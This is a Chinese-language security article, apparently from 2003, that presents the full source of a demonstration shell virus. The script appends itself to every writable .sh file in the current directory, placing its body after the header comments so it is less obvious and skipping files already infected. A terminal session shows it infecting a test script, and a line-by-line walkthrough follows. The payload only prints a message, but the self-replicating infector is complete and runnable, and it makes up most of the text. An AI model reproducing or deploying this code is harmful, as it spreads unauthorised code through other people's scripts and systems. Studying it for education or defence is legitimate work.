网络安全 频道

SHELL病毒简介

程序代码

#!/bin/sh
#文件名: virus_demo.sh
#用途  : shell病毒演示。
#说明  : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写  : watercloud@xfocus.org
#日期  : 2003-5-13

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$
for f in ./*.sh; do
  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  if grep ’<+!a%C&t:>’ $f ;       then continue; fi
  if sed -n ’1p’ $f | grep ’csh’; then continue; fi
  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  vNo=`awk ’$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}’ $vTmp`
  sed -n "1,${vNo}p" $vTmp >$f
  (sed -n ’/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p’ $vFile ;echo ) >>$f
  vNo=`expr $vNo + 1`
  sed -n "${vNo},\$p" $vTmp >>$f
  rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>
#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。


3.  演示


测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x   2 cloud    staff        512  6??  4 17:43 ./
drwxr-xr-x  10 cloud    staff       1024  6??  4 17:41 ../
-rwxr--r--   1 cloud    staff         89  6??  4 17:43 test.sh
-rwxr--r--   1 cloud    staff        773  6??  4 17:42 virus_demo.sh

来看看我们这个"肉鸡"脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

ls -l

#EOF

好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !

来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$
for f in ./*.sh; do
  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  if grep ’<+!a%C&t:>’ $f ;       then continue; fi
  if sed -n ’1p’ $f | grep ’csh’; then continue; fi
  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  vNo=`awk ’$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}’ $vTmp`
  sed -n "1,${vNo}p" $vTmp >$f
  (sed -n ’/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p’ $vFile ;echo ) >>$f
  vNo=`expr $vNo + 1`
  sed -n "${vNo},\$p" $vTmp >>$f
  rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:
#B:<+!a%C&t:>
. . . .  
#E:<+!a%C&t:>
被拷贝过来了,这样病毒就被传播了。
值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!
这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,
你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。


来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。
         
-rwxr-xr-x   1 cloud    staff        724  6??  4 17:44 test.sh
-rwxr-xr-x   1 cloud    staff        773  6??  4 17:42 virus_demo.sh



4. 简单讲解


我们来一步步分析一下这个病毒:


#B:<+!a%C&t:>  
病毒体开始标记,用于程序复制自己定位用

vFile=$_ ; vTmp=/tmp/.vTmp.$
定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们
必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序
名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。

  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  目标是否有写权限,病毒源文件是否有读权限。

  if grep ’<+!a%C&t:>’ $f ;       then continue; fi
  目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

  if sed -n ’1p’ $f | grep ’csh’; then continue; fi
  如果目标shell是以csh的那语法上差异太大了,放弃吧。

  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

  vNo=`awk ’$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}’ $vTmp`
  这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不
  过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体
  插入点。

  sed -n "1,${vNo}p" $vTmp >$f
  一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

  (sed -n ’/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p’ $vFile ;echo ) >>$f
  再来一个sed完成搬运病毒体的工作。

  vNo=`expr $vNo + 1`
  sed -n "${vNo},\$p" $vTmp >>$f
  最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

  rm -f $vTmp
  清理一下临时文件

done >/dev/null 2>&1
循环结束

unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。


echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>
病毒体结束标记,用于程序复制自己定位用
0
相关文章